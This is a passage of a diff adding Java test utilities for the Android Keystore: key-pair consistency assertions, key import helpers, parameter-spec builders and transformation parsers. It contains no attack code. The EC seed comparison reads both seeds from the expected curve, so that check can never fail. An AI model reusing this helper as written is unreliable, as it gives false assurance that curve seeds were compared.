+     * Asserts the the key algorithm and algorithm-specific parameters of the two keys in the
+     * provided pair match.
+     */
+    public static void assertKeyPairSelfConsistent(KeyPair keyPair) {
+        assertKeyPairSelfConsistent(keyPair.getPublic(), keyPair.getPrivate());
+    }
+
+    /**
+     * Asserts the the key algorithm and public algorithm-specific parameters of the two provided
+     * keys match.
+     */
+    public static void assertKeyPairSelfConsistent(PublicKey publicKey, PrivateKey privateKey) {
+        assertNotNull(publicKey);
+        assertNotNull(privateKey);
+        assertEquals(publicKey.getAlgorithm(), privateKey.getAlgorithm());
+        String keyAlgorithm = publicKey.getAlgorithm();
+        if ("EC".equalsIgnoreCase(keyAlgorithm)) {
+            assertTrue("EC public key must be instanceof ECKey: "
+                    + publicKey.getClass().getName(),
+                    publicKey instanceof ECKey);
+            assertTrue("EC private key must be instanceof ECKey: "
+                    + privateKey.getClass().getName(),
+                    privateKey instanceof ECKey);
+            assertECParameterSpecEqualsIgnoreSeedIfNotPresent(
+                    "Private key must have the same EC parameters as public key",
+                    ((ECKey) publicKey).getParams(), ((ECKey) privateKey).getParams());
+        } else if ("RSA".equalsIgnoreCase(keyAlgorithm)) {
+            assertTrue("RSA public key must be instance of RSAKey: "
+                    + publicKey.getClass().getName(),
+                    publicKey instanceof RSAKey);
+            assertTrue("RSA private key must be instance of RSAKey: "
+                    + privateKey.getClass().getName(),
+                    privateKey instanceof RSAKey);
+            assertEquals("Private and public key must have the same RSA modulus",
+                    ((RSAKey) publicKey).getModulus(), ((RSAKey) privateKey).getModulus());
+        } else {
+            fail("Unsuported key algorithm: " + keyAlgorithm);
+        }
+    }
+
+    public static int getKeySizeBits(Key key) {
+        if (key instanceof ECKey) {
+            return ((ECKey) key).getParams().getCurve().getField().getFieldSize();
+        } else if (key instanceof RSAKey) {
+            return ((RSAKey) key).getModulus().bitLength();
+        } else {
+            throw new IllegalArgumentException("Unsupported key type: " + key.getClass());
+        }
+    }
+
+    public static void assertKeySize(int expectedSizeBits, KeyPair keyPair) {
+        assertEquals(expectedSizeBits, getKeySizeBits(keyPair.getPrivate()));
+        assertEquals(expectedSizeBits, getKeySizeBits(keyPair.getPublic()));
+    }
+
+    /**
+     * Asserts that the provided key pair is an Android Keystore key pair stored under the provided
+     * alias.
+     */
+    public static void assertKeyStoreKeyPair(KeyStore keyStore, String alias, KeyPair keyPair) {
+        assertKeyMaterialExportable(keyPair.getPublic());
+        assertKeyMaterialNotExportable(keyPair.getPrivate());
+        assertTransparentKey(keyPair.getPublic());
+        assertOpaqueKey(keyPair.getPrivate());
+
+        KeyStore.Entry entry;
+        Certificate cert;
+        try {
+            entry = keyStore.getEntry(alias, null);
+            cert = keyStore.getCertificate(alias);
+        } catch (KeyStoreException | UnrecoverableEntryException | NoSuchAlgorithmException e) {
+            throw new RuntimeException("Failed to load entry: " + alias, e);
+        }
+        assertNotNull(entry);
+
+        assertTrue(entry instanceof KeyStore.PrivateKeyEntry);
+        KeyStore.PrivateKeyEntry privEntry = (KeyStore.PrivateKeyEntry) entry;
+        assertEquals(cert, privEntry.getCertificate());
+        assertTrue("Certificate must be an X.509 certificate: " + cert.getClass(),
+                cert instanceof X509Certificate);
+        final X509Certificate x509Cert = (X509Certificate) cert;
+
+        PrivateKey keystorePrivateKey = privEntry.getPrivateKey();
+        PublicKey keystorePublicKey = cert.getPublicKey();
+        assertEquals(keyPair.getPrivate(), keystorePrivateKey);
+        assertTrue("Key1:\n" + HexDump.dumpHexString(keyPair.getPublic().getEncoded())
+                + "\nKey2:\n" + HexDump.dumpHexString(keystorePublicKey.getEncoded()) + "\n",
+                Arrays.equals(keyPair.getPublic().getEncoded(), keystorePublicKey.getEncoded()));
+
+
+        assertEquals(
+                "Public key used to sign certificate should have the same algorithm as in KeyPair",
+                keystorePublicKey.getAlgorithm(), x509Cert.getPublicKey().getAlgorithm());
+
+        Certificate[] chain = privEntry.getCertificateChain();
+        if (chain.length == 0) {
+            fail("Empty certificate chain");
+            return;
+        }
+        assertEquals(cert, chain[0]);
+    }
+
+
+    private static void assertKeyMaterialExportable(Key key) {
+        if (key instanceof PublicKey) {
+            assertEquals("X.509", key.getFormat());
+        } else if (key instanceof PrivateKey) {
+            assertEquals("PKCS#8", key.getFormat());
+        } else if (key instanceof SecretKey) {
+            assertEquals("RAW", key.getFormat());
+        } else {
+            fail("Unsupported key type: " + key.getClass().getName());
+        }
+        byte[] encodedForm = key.getEncoded();
+        assertNotNull(encodedForm);
+        if (encodedForm.length == 0) {
+            fail("Empty encoded form");
+        }
+    }
+
+    private static void assertKeyMaterialNotExportable(Key key) {
+        assertEquals(null, key.getFormat());
+        assertEquals(null, key.getEncoded());
+    }
+
+    private static void assertOpaqueKey(Key key) {
+        assertFalse(key.getClass().getName() + " is a transparent key", isTransparentKey(key));
+    }
+
+    private static void assertTransparentKey(Key key) {
+        assertTrue(key.getClass().getName() + " is not a transparent key", isTransparentKey(key));
+    }
+
+    private static boolean isTransparentKey(Key key) {
+        if (key instanceof PrivateKey) {
+            return (key instanceof ECPrivateKey) || (key instanceof RSAPrivateKey);
+        } else if (key instanceof PublicKey) {
+            return (key instanceof ECPublicKey) || (key instanceof RSAPublicKey);
+        } else if (key instanceof SecretKey) {
+            return (key instanceof SecretKeySpec);
+        } else {
+            throw new IllegalArgumentException("Unsupported key type: " + key.getClass().getName());
+        }
+    }
+
+    public static void assertECParameterSpecEqualsIgnoreSeedIfNotPresent(
+            ECParameterSpec expected, ECParameterSpec actual) {
+        assertECParameterSpecEqualsIgnoreSeedIfNotPresent(null, expected, actual);
+    }
+
+    public static void assertECParameterSpecEqualsIgnoreSeedIfNotPresent(String message,
+            ECParameterSpec expected, ECParameterSpec actual) {
+        EllipticCurve expectedCurve = expected.getCurve();
+        EllipticCurve actualCurve = actual.getCurve();
+        String msgPrefix = (message != null) ? message + ": " : "";
+        assertEquals(msgPrefix + "curve field", expectedCurve.getField(), actualCurve.getField());
+        assertEquals(msgPrefix + "curve A", expectedCurve.getA(), actualCurve.getA());
+        assertEquals(msgPrefix + "curve B", expectedCurve.getB(), actualCurve.getB());
+        assertEquals(msgPrefix + "order", expected.getOrder(), actual.getOrder());
+        assertEquals(msgPrefix + "generator",
+                expected.getGenerator(), actual.getGenerator());
+        assertEquals(msgPrefix + "cofactor", expected.getCofactor(), actual.getCofactor());
+
+        // If present, the seed must be the same
+        byte[] expectedSeed = expectedCurve.getSeed();
+        byte[] actualSeed = expectedCurve.getSeed();
+        if ((expectedSeed != null) && (actualSeed != null)) {
+            MoreAsserts.assertEquals(expectedSeed, actualSeed);
+        }
+    }
+
+    public static KeyInfo getKeyInfo(Key key) throws InvalidKeySpecException, NoSuchAlgorithmException,
+            NoSuchProviderException {
+        if ((key instanceof PrivateKey) || (key instanceof PublicKey)) {
+            return KeyFactory.getInstance(key.getAlgorithm(), "AndroidKeyStore")
+                    .getKeySpec(key, KeyInfo.class);
+        } else if (key instanceof SecretKey) {
+            return (KeyInfo) SecretKeyFactory.getInstance(key.getAlgorithm(), "AndroidKeyStore")
+                    .getKeySpec((SecretKey) key, KeyInfo.class);
+        } else {
+            throw new IllegalArgumentException("Unexpected key type: " + key.getClass());
+        }
+    }
+
+    public static <T> void assertContentsInAnyOrder(Iterable<T> actual, T... expected) {
+        assertContentsInAnyOrder(null, actual, expected);
+    }
+
+    public static <T> void assertContentsInAnyOrder(String message, Iterable<T> actual, T... expected) {
+        Map<T, Integer> actualFreq = getFrequencyTable(actual);
+        Map<T, Integer> expectedFreq = getFrequencyTable(expected);
+        if (actualFreq.equals(expectedFreq)) {
+            return;
+        }
+
+        Map<T, Integer> extraneousFreq = new HashMap<T, Integer>();
+        for (Map.Entry<T, Integer> actualEntry : actualFreq.entrySet()) {
+            int actualCount = actualEntry.getValue();
+            Integer expectedCount = expectedFreq.get(actualEntry.getKey());
+            int diff = actualCount - ((expectedCount != null) ? expectedCount : 0);
+            if (diff > 0) {
+                extraneousFreq.put(actualEntry.getKey(), diff);
+            }
+        }
+
+        Map<T, Integer> missingFreq = new HashMap<T, Integer>();
+        for (Map.Entry<T, Integer> expectedEntry : expectedFreq.entrySet()) {
+            int expectedCount = expectedEntry.getValue();
+            Integer actualCount = actualFreq.get(expectedEntry.getKey());
+            int diff = expectedCount - ((actualCount != null) ? actualCount : 0);
+            if (diff > 0) {
+                missingFreq.put(expectedEntry.getKey(), diff);
+            }
+        }
+
+        List<T> extraneous = frequencyTableToValues(extraneousFreq);
+        List<T> missing = frequencyTableToValues(missingFreq);
+        StringBuilder result = new StringBuilder();
+        String delimiter = "";
+        if (message != null) {
+            result.append(message).append(".");
+            delimiter = " ";
+        }
+        if (!missing.isEmpty()) {
+            result.append(delimiter).append("missing: " + missing);
+            delimiter = ", ";
+        }
+        if (!extraneous.isEmpty()) {
+            result.append(delimiter).append("extraneous: " + extraneous);
+        }
+        fail(result.toString());
+    }
+
+    private static <T> Map<T, Integer> getFrequencyTable(Iterable<T> values) {
+        Map<T, Integer> result = new HashMap<T, Integer>();
+        for (T value : values) {
+            Integer count = result.get(value);
+            if (count == null) {
+                count = 1;
+            } else {
+                count++;
+            }
+            result.put(value, count);
+        }
+        return result;
+    }
+
+    private static <T> Map<T, Integer> getFrequencyTable(T... values) {
+        Map<T, Integer> result = new HashMap<T, Integer>();
+        for (T value : values) {
+            Integer count = result.get(value);
+            if (count == null) {
+                count = 1;
+            } else {
+                count++;
+            }
+            result.put(value, count);
+        }
+        return result;
+    }
+
+    @SuppressWarnings("rawtypes")
+    private static <T> List<T> frequencyTableToValues(Map<T, Integer> table) {
+        if (table.isEmpty()) {
+            return Collections.emptyList();
+        }
+
+        List<T> result = new ArrayList<T>();
+        boolean comparableValues = true;
+        for (Map.Entry<T, Integer> entry : table.entrySet()) {
+            T value = entry.getKey();
+            if (!(value instanceof Comparable)) {
+                comparableValues = false;
+            }
+            int frequency = entry.getValue();
+            for (int i = 0; i < frequency; i++) {
+                result.add(value);
+            }
+        }
+
+        if (comparableValues) {
+            sortAssumingComparable(result);
+        }
+        return result;
+    }
+
+    @SuppressWarnings({"rawtypes", "unchecked"})
+    private static void sortAssumingComparable(List<?> values) {
+        Collections.sort((List<Comparable>)values);
+    }
+
+    public static String[] toLowerCase(String... values) {
+        if (values == null) {
+            return null;
+        }
+        String[] result = new String[values.length];
+        for (int i = 0; i < values.length; i++) {
+            String value = values[i];
+            result[i] = (value != null) ? value.toLowerCase() : null;
+        }
+        return result;
+    }
+
+    public static PrivateKey getRawResPrivateKey(Context context, int resId) throws Exception {
+        byte[] pkcs8EncodedForm;
+        try (InputStream in = context.getResources().openRawResource(resId)) {
+            pkcs8EncodedForm = drain(in);
+        }
+        PKCS8EncodedKeySpec privateKeySpec = new PKCS8EncodedKeySpec(pkcs8EncodedForm);
+
+        try {
+            return KeyFactory.getInstance("EC").generatePrivate(privateKeySpec);
+        } catch (InvalidKeySpecException e) {
+            try {
+                return KeyFactory.getInstance("RSA").generatePrivate(privateKeySpec);
+            } catch (InvalidKeySpecException e2) {
+                throw new InvalidKeySpecException("The key is neither EC nor RSA", e);
+            }
+        }
+    }
+
+    public static X509Certificate getRawResX509Certificate(Context context, int resId) throws Exception {
+        try (InputStream in = context.getResources().openRawResource(resId)) {
+            return (X509Certificate) CertificateFactory.getInstance("X.509")
+                    .generateCertificate(in);
+        }
+    }
+
+    public static KeyPair importIntoAndroidKeyStore(
+            String alias,
+            PrivateKey privateKey,
+            Certificate certificate,
+            KeyProtection keyProtection) throws Exception {
+        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+        keyStore.load(null);
+        keyStore.setEntry(alias,
+                new KeyStore.PrivateKeyEntry(privateKey, new Certificate[] {certificate}),
+                keyProtection);
+        return new KeyPair(
+                keyStore.getCertificate(alias).getPublicKey(),
+                (PrivateKey) keyStore.getKey(alias, null));
+    }
+
+    public static ImportedKey importIntoAndroidKeyStore(
+            String alias,
+            SecretKey key,
+            KeyProtection keyProtection) throws Exception {
+        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+        keyStore.load(null);
+        keyStore.setEntry(alias,
+                new KeyStore.SecretKeyEntry(key),
+                keyProtection);
+        return new ImportedKey(alias, key, (SecretKey) keyStore.getKey(alias, null));
+    }
+
+    public static ImportedKey importIntoAndroidKeyStore(
+            String alias, Context context, int privateResId, int certResId, KeyProtection params)
+                    throws Exception {
+        Certificate originalCert = TestUtils.getRawResX509Certificate(context, certResId);
+        PublicKey originalPublicKey = originalCert.getPublicKey();
+        PrivateKey originalPrivateKey = TestUtils.getRawResPrivateKey(context, privateResId);
+
+        // Check that the domain parameters match between the private key and the public key. This
+        // is to catch accidental errors where a test provides the wrong resource ID as one of the
+        // parameters.
+        if (!originalPublicKey.getAlgorithm().equalsIgnoreCase(originalPrivateKey.getAlgorithm())) {
+            throw new IllegalArgumentException("Key algorithm mismatch."
+                    + " Public: " + originalPublicKey.getAlgorithm()
+                    + ", private: " + originalPrivateKey.getAlgorithm());
+        }
+        assertKeyPairSelfConsistent(originalPublicKey, originalPrivateKey);
+
+        KeyPair keystoreBacked = TestUtils.importIntoAndroidKeyStore(
+                alias, originalPrivateKey, originalCert,
+                params);
+        assertKeyPairSelfConsistent(keystoreBacked);
+        assertKeyPairSelfConsistent(keystoreBacked.getPublic(), originalPrivateKey);
+        return new ImportedKey(
+                alias,
+                new KeyPair(originalCert.getPublicKey(), originalPrivateKey),
+                keystoreBacked);
+    }
+
+    public static byte[] drain(InputStream in) throws IOException {
+        ByteArrayOutputStream result = new ByteArrayOutputStream();
+        byte[] buffer = new byte[16 * 1024];
+        int chunkSize;
+        while ((chunkSize = in.read(buffer)) != -1) {
+            result.write(buffer, 0, chunkSize);
+        }
+        return result.toByteArray();
+    }
+
+    public static KeyProtection.Builder buildUpon(KeyProtection params) {
+        return buildUponInternal(params, null);
+    }
+
+    public static KeyProtection.Builder buildUpon(KeyProtection params, int newPurposes) {
+        return buildUponInternal(params, newPurposes);
+    }
+
+    public static KeyProtection.Builder buildUpon(
+            KeyProtection.Builder builder) {
+        return buildUponInternal(builder.build(), null);
+    }
+
+    public static KeyProtection.Builder buildUpon(
+            KeyProtection.Builder builder, int newPurposes) {
+        return buildUponInternal(builder.build(), newPurposes);
+    }
+
+    private static KeyProtection.Builder buildUponInternal(
+            KeyProtection spec, Integer newPurposes) {
+        int purposes = (newPurposes == null) ? spec.getPurposes() : newPurposes;
+        KeyProtection.Builder result = new KeyProtection.Builder(purposes);
+        result.setBlockModes(spec.getBlockModes());
+        if (spec.isDigestsSpecified()) {
+            result.setDigests(spec.getDigests());
+        }
+        result.setEncryptionPaddings(spec.getEncryptionPaddings());
+        result.setSignaturePaddings(spec.getSignaturePaddings());
+        result.setKeyValidityStart(spec.getKeyValidityStart());
+        result.setKeyValidityForOriginationEnd(spec.getKeyValidityForOriginationEnd());
+        result.setKeyValidityForConsumptionEnd(spec.getKeyValidityForConsumptionEnd());
+        result.setRandomizedEncryptionRequired(spec.isRandomizedEncryptionRequired());
+        result.setUserAuthenticationRequired(spec.isUserAuthenticationRequired());
+        result.setUserAuthenticationValidityDurationSeconds(
+                spec.getUserAuthenticationValidityDurationSeconds());
+        result.setBoundToSpecificSecureUserId(spec.getBoundToSpecificSecureUserId());
+        return result;
+    }
+
+    public static KeyGenParameterSpec.Builder buildUpon(KeyGenParameterSpec spec) {
+        return buildUponInternal(spec, null);
+    }
+
+    public static KeyGenParameterSpec.Builder buildUpon(KeyGenParameterSpec spec, int newPurposes) {
+        return buildUponInternal(spec, newPurposes);
+    }
+
+    public static KeyGenParameterSpec.Builder buildUpon(
+            KeyGenParameterSpec.Builder builder) {
+        return buildUponInternal(builder.build(), null);
+    }
+
+    public static KeyGenParameterSpec.Builder buildUpon(
+            KeyGenParameterSpec.Builder builder, int newPurposes) {
+        return buildUponInternal(builder.build(), newPurposes);
+    }
+
+    private static KeyGenParameterSpec.Builder buildUponInternal(
+            KeyGenParameterSpec spec, Integer newPurposes) {
+        int purposes = (newPurposes == null) ? spec.getPurposes() : newPurposes;
+        KeyGenParameterSpec.Builder result =
+                new KeyGenParameterSpec.Builder(spec.getKeystoreAlias(), purposes);
+        if (spec.getKeySize() >= 0) {
+            result.setKeySize(spec.getKeySize());
+        }
+        if (spec.getAlgorithmParameterSpec() != null) {
+            result.setAlgorithmParameterSpec(spec.getAlgorithmParameterSpec());
+        }
+        result.setCertificateNotBefore(spec.getCertificateNotBefore());
+        result.setCertificateNotAfter(spec.getCertificateNotAfter());
+        result.setCertificateSerialNumber(spec.getCertificateSerialNumber());
+        result.setCertificateSubject(spec.getCertificateSubject());
+        result.setBlockModes(spec.getBlockModes());
+        if (spec.isDigestsSpecified()) {
+            result.setDigests(spec.getDigests());
+        }
+        result.setEncryptionPaddings(spec.getEncryptionPaddings());
+        result.setSignaturePaddings(spec.getSignaturePaddings());
+        result.setKeyValidityStart(spec.getKeyValidityStart());
+        result.setKeyValidityForOriginationEnd(spec.getKeyValidityForOriginationEnd());
+        result.setKeyValidityForConsumptionEnd(spec.getKeyValidityForConsumptionEnd());
+        result.setRandomizedEncryptionRequired(spec.isRandomizedEncryptionRequired());
+        result.setUserAuthenticationRequired(spec.isUserAuthenticationRequired());
+        result.setUserAuthenticationValidityDurationSeconds(
+                spec.getUserAuthenticationValidityDurationSeconds());
+        return result;
+    }
+
+    public static KeyPair getKeyPairForKeyAlgorithm(String keyAlgorithm, Iterable<KeyPair> keyPairs) {
+        for (KeyPair keyPair : keyPairs) {
+            if (keyAlgorithm.equalsIgnoreCase(keyPair.getPublic().getAlgorithm())) {
+                return keyPair;
+            }
+        }
+        throw new IllegalArgumentException("No KeyPair for key algorithm " + keyAlgorithm);
+    }
+
+    public static Key getKeyForKeyAlgorithm(String keyAlgorithm, Iterable<? extends Key> keys) {
+        for (Key key : keys) {
+            if (keyAlgorithm.equalsIgnoreCase(key.getAlgorithm())) {
+                return key;
+            }
+        }
+        throw new IllegalArgumentException("No Key for key algorithm " + keyAlgorithm);
+    }
+
+    public static byte[] generateLargeKatMsg(byte[] seed, int msgSizeBytes) throws Exception {
+        byte[] result = new byte[msgSizeBytes];
+        MessageDigest digest = MessageDigest.getInstance("SHA-512");
+        int resultOffset = 0;
+        int resultRemaining = msgSizeBytes;
+        while (resultRemaining > 0) {
+            seed = digest.digest(seed);
+            int chunkSize = Math.min(seed.length, resultRemaining);
+            System.arraycopy(seed, 0, result, resultOffset, chunkSize);
+            resultOffset += chunkSize;
+            resultRemaining -= chunkSize;
+        }
+        return result;
+    }
+
+    public static byte[] leftPadWithZeroBytes(byte[] array, int length) {
+        if (array.length >= length) {
+            return array;
+        }
+        byte[] result = new byte[length];
+        System.arraycopy(array, 0, result, result.length - array.length, array.length);
+        return result;
+    }
+
+    public static boolean contains(int[] array, int value) {
+        for (int element : array) {
+            if (element == value) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    public static boolean isHmacAlgorithm(String algorithm) {
+        return algorithm.toUpperCase(Locale.US).startsWith("HMAC");
+    }
+
+    public static String getHmacAlgorithmDigest(String algorithm) {
+        String algorithmUpperCase = algorithm.toUpperCase(Locale.US);
+        if (!algorithmUpperCase.startsWith("HMAC")) {
+            return null;
+        }
+        String result = algorithmUpperCase.substring("HMAC".length());
+        if (result.startsWith("SHA")) {
+            result = "SHA-" + result.substring("SHA".length());
+        }
+        return result;
+    }
+
+    public static String getKeyAlgorithm(String transformation) {
+        try {
+            return getCipherKeyAlgorithm(transformation);
+        } catch (IllegalArgumentException e) {
+
+        }
+        try {
+            return getSignatureAlgorithmKeyAlgorithm(transformation);
+        } catch (IllegalArgumentException e) {
+
+        }
+        String transformationUpperCase = transformation.toUpperCase(Locale.US);
+        if (transformationUpperCase.equals("EC")) {
+            return KeyProperties.KEY_ALGORITHM_EC;
+        }
+        if (transformationUpperCase.equals("RSA")) {
+            return KeyProperties.KEY_ALGORITHM_RSA;
+        }
+        if (transformationUpperCase.equals("DESEDE")) {
+            return KeyProperties.KEY_ALGORITHM_3DES;
+        }
+        if (transformationUpperCase.equals("AES")) {
+            return KeyProperties.KEY_ALGORITHM_AES;
+        }
+        if (transformationUpperCase.startsWith("HMAC")) {
+            if (transformation.endsWith("SHA1")) {
+                return KeyProperties.KEY_ALGORITHM_HMAC_SHA1;
+            } else if (transformation.endsWith("SHA224")) {
+                return KeyProperties.KEY_ALGORITHM_HMAC_SHA224;
+            } else if (transformation.endsWith("SHA256")) {
+                return KeyProperties.KEY_ALGORITHM_HMAC_SHA256;
+            } else if (transformation.endsWith("SHA384")) {
+                return KeyProperties.KEY_ALGORITHM_HMAC_SHA384;
+            } else if (transformation.endsWith("SHA512")) {
+                return KeyProperties.KEY_ALGORITHM_HMAC_SHA512;
+            }
+        }
+        throw new IllegalArgumentException("Unsupported transformation: " + transformation);
+    }
+
+    public static String getCipherKeyAlgorithm(String transformation) {
+        String transformationUpperCase = transformation.toUpperCase(Locale.US);
+        if (transformationUpperCase.startsWith("AES/")) {
+            return KeyProperties.KEY_ALGORITHM_AES;
+        } else if (transformationUpperCase.startsWith("DESEDE/")) {
+            return KeyProperties.KEY_ALGORITHM_3DES;
+        } else if (transformationUpperCase.startsWith("RSA/")) {
+            return KeyProperties.KEY_ALGORITHM_RSA;
+        } else {
+            throw new IllegalArgumentException("Unsupported transformation: " + transformation);
+        }
+    }
+
+    public static boolean isCipherSymmetric(String transformation) {
+        String transformationUpperCase = transformation.toUpperCase(Locale.US);
+        if (transformationUpperCase.startsWith("AES/") || transformationUpperCase.startsWith(
+                "DESEDE/")) {
+            return true;
+        } else if (transformationUpperCase.startsWith("RSA/")) {
+            return false;
+        } else {
+            throw new IllegalArgumentException("YYZ: Unsupported transformation: " + transformation);
+        }
+    }
+
+    public static String getCipherDigest(String transformation) {
+        String transformationUpperCase = transformation.toUpperCase(Locale.US);
+        if (transformationUpperCase.contains("/OAEP")) {
+            if (transformationUpperCase.endsWith("/OAEPPADDING")) {
+                return KeyProperties.DIGEST_SHA1;
+            } else if (transformationUpperCase.endsWith(
+                    "/OAEPWITHSHA-1ANDMGF1PADDING")) {
+                return KeyProperties.DIGEST_SHA1;
+            } else if (transformationUpperCase.endsWith(
+                    "/OAEPWITHSHA-224ANDMGF1PADDING")) {
+                return KeyProperties.DIGEST_SHA224;
+            } else if (transformationUpperCase.endsWith(
+                    "/OAEPWITHSHA-256ANDMGF1PADDING")) {
+                return KeyProperties.DIGEST_SHA256;
+            } else if (transformationUpperCase.endsWith(
+                    "/OAEPWITHSHA-384ANDMGF1PADDING")) {
+                return KeyProperties.DIGEST_SHA384;
+            } else if (transformationUpperCase.endsWith(
+                    "/OAEPWITHSHA-512ANDMGF1PADDING")) {
+                return KeyProperties.DIGEST_SHA512;
+            } else {
+                throw new RuntimeException("Unsupported OAEP padding scheme: "
+                        + transformation);
+            }
+        } else {
+            return null;
+        }
+    }
+
+    public static String getCipherEncryptionPadding(String transformation) {
+        String transformationUpperCase = transformation.toUpperCase(Locale.US);
+        if (transformationUpperCase.endsWith("/NOPADDING")) {
+            return KeyProperties.ENCRYPTION_PADDING_NONE;
+        } else if (transformationUpperCase.endsWith("/PKCS7PADDING")) {
+            return KeyProperties.ENCRYPTION_PADDING_PKCS7;
+        } else if (transformationUpperCase.endsWith("/PKCS1PADDING")) {
+            return KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1;
+        } else if (transformationUpperCase.split("/")[2].startsWith("OAEP")) {
+            return KeyProperties.ENCRYPTION_PADDING_RSA_OAEP;
+        } else {
+            throw new IllegalArgumentException("Unsupported transformation: " + transformation);
+        }
+    }
+
+    public static String getCipherBlockMode(String transformation) {
+        return transformation.split("/")[1].toUpperCase(Locale.US);
+    }
+
+    public static String getSignatureAlgorithmDigest(String algorithm) {
+        String algorithmUpperCase = algorithm.toUpperCase(Locale.US);
+        int withIndex = algorithmUpperCase.indexOf("WITH");
+        if (withIndex == -1) {
+            throw new IllegalArgumentException("Unsupported algorithm: " + algorithm);
+        }
+        String digest = algorithmUpperCase.substring(0, withIndex);
+        if (digest.startsWith("SHA")) {
+            digest = "SHA-" + digest.substring("SHA".length());
+        }
+        return digest;
+    }
+
+    public static String getSignatureAlgorithmPadding(String algorithm) {
+        String algorithmUpperCase = algorithm.toUpperCase(Locale.US);
+        if (algorithmUpperCase.endsWith("WITHECDSA")) {
+            return null;
+        } else if (algorithmUpperCase.endsWith("WITHRSA")) {
+            return KeyProperties.SIGNATURE_PADDING_RSA_PKCS1;
+        } else if (algorithmUpperCase.endsWith("WITHRSA/PSS")) {
+            return KeyProperties.SIGNATURE_PADDING_RSA_PSS;
+        } else {
+            throw new IllegalArgumentException("Unsupported algorithm: " + algorithm);
+        }
+    }
+
+    public static String getSignatureAlgorithmKeyAlgorithm(String algorithm) {
+        String algorithmUpperCase = algorithm.toUpperCase(Locale.US);
+        if (algorithmUpperCase.endsWith("WITHECDSA")) {
+            return KeyProperties.KEY_ALGORITHM_EC;
+        } else if ((algorithmUpperCase.endsWith("WITHRSA"))
+                || (algorithmUpperCase.endsWith("WITHRSA/PSS"))) {
+            return KeyProperties.KEY_ALGORITHM_RSA;
+        } else {
+            throw new IllegalArgumentException("Unsupported algorithm: " + algorithm);
+        }
+    }
+
+    public static boolean isKeyLongEnoughForSignatureAlgorithm(String algorithm, int keySizeBits) {
+        String keyAlgorithm = getSignatureAlgorithmKeyAlgorithm(algorithm);
+        if (KeyProperties.KEY_ALGORITHM_EC.equalsIgnoreCase(keyAlgorithm)) {
+            // No length restrictions for ECDSA
+            return true;
+        } else if (KeyProperties.KEY_ALGORITHM_RSA.equalsIgnoreCase(keyAlgorithm)) {
+            String digest = getSignatureAlgorithmDigest(algorithm);
+            int digestOutputSizeBits = getDigestOutputSizeBits(digest);
+            if (digestOutputSizeBits == -1) {
+                // No digesting -- assume the key is long enough for the message
+                return true;
+            }
+            String paddingScheme = getSignatureAlgorithmPadding(algorithm);
+            int paddingOverheadBytes;
+            if (KeyProperties.SIGNATURE_PADDING_RSA_PKCS1.equalsIgnoreCase(paddingScheme)) {
+                paddingOverheadBytes = 30;
+            } else if (KeyProperties.SIGNATURE_PADDING_RSA_PSS.equalsIgnoreCase(paddingScheme)) {
+                int saltSizeBytes = (digestOutputSizeBits + 7) / 8;
+                paddingOverheadBytes = saltSizeBytes + 1;
+            } else {
+                throw new IllegalArgumentException(
+                        "Unsupported signature padding scheme: " + paddingScheme);
+            }
+            int minKeySizeBytes = paddingOverheadBytes + (digestOutputSizeBits + 7) / 8 + 1;
+            int keySizeBytes = keySizeBits / 8;
+            return keySizeBytes >= minKeySizeBytes;
+        } else {
+            throw new IllegalArgumentException("Unsupported key algorithm: " + keyAlgorithm);
+        }
+    }
+
+    public static boolean isKeyLongEnoughForSignatureAlgorithm(String algorithm, Key key) {
+        return isKeyLongEnoughForSignatureAlgorithm(algorithm, getKeySizeBits(key));
+    }
+
+    public static int getMaxSupportedPlaintextInputSizeBytes(String transformation, int keySizeBits) {
+        String encryptionPadding = getCipherEncryptionPadding(transformation);
+        int modulusSizeBytes = (keySizeBits + 7) / 8;
+        if (KeyProperties.ENCRYPTION_PADDING_NONE.equalsIgnoreCase(encryptionPadding)) {
+            return modulusSizeBytes - 1;
+        } else if (KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1.equalsIgnoreCase(
+                encryptionPadding)) {
+            return modulusSizeBytes - 11;
+        } else if (KeyProperties.ENCRYPTION_PADDING_RSA_OAEP.equalsIgnoreCase(
+                encryptionPadding)) {
+            String digest = getCipherDigest(transformation);
+            int digestOutputSizeBytes = (getDigestOutputSizeBits(digest) + 7) / 8;
+            return modulusSizeBytes - 2 * digestOutputSizeBytes - 2;
+        } else {
+            throw new IllegalArgumentException(
+                    "Unsupported encryption padding scheme: " + encryptionPadding);
+        }
+
+    }
+
+    public static int getMaxSupportedPlaintextInputSizeBytes(String transformation, Key key) {
+        String keyAlgorithm = getCipherKeyAlgorithm(transformation);
+        if (KeyProperties.KEY_ALGORITHM_AES.equalsIgnoreCase(keyAlgorithm)
+                || KeyProperties.KEY_ALGORITHM_3DES.equalsIgnoreCase(keyAlgorithm)) {
+            return Integer.MAX_VALUE;
+        } else if (KeyProperties.KEY_ALGORITHM_RSA.equalsIgnoreCase(keyAlgorithm)) {
+            return getMaxSupportedPlaintextInputSizeBytes(transformation, getKeySizeBits(key));
+        } else {
+            throw new IllegalArgumentException("Unsupported key algorithm: " + keyAlgorithm);
+        }
+    }
+
+    public static int getDigestOutputSizeBits(String digest) {
+        if (KeyProperties.DIGEST_NONE.equals(digest)) {
+            return -1;
+        } else if (KeyProperties.DIGEST_MD5.equals(digest)) {
+            return 128;
+        } else if (KeyProperties.DIGEST_SHA1.equals(digest)) {
+            return 160;
+        } else if (KeyProperties.DIGEST_SHA224.equals(digest)) {
+            return 224;
+        } else if (KeyProperties.DIGEST_SHA256.equals(digest)) {
+            return 256;
+        } else if (KeyProperties.DIGEST_SHA384.equals(digest)) {
+            return 384;
+        } else if (KeyProperties.DIGEST_SHA512.equals(digest)) {
+            return 512;
+        } else {
+            throw new IllegalArgumentException("Unsupported digest: " + digest);
+        }
+    }
+
+    public static byte[] concat(byte[] arr1, byte[] arr2) {
+        return concat(arr1, 0, (arr1 != null) ? arr1.length : 0,
+                arr2, 0, (arr2 != null) ? arr2.length : 0);
+    }
+
+    public static byte[] concat(byte[] arr1, int offset1, int len1,
+            byte[] arr2, int offset2, int len2) {
+        if (len1 == 0) {
+            return subarray(arr2, offset2, len2);
+        } else if (len2 == 0) {
+            return subarray(arr1, offset1, len1);
+        }
+        byte[] result = new byte[len1 + len2];
+        if (len1 > 0) {
+            System.arraycopy(arr1, offset1, result, 0, len1);
+        }
+        if (len2 > 0) {
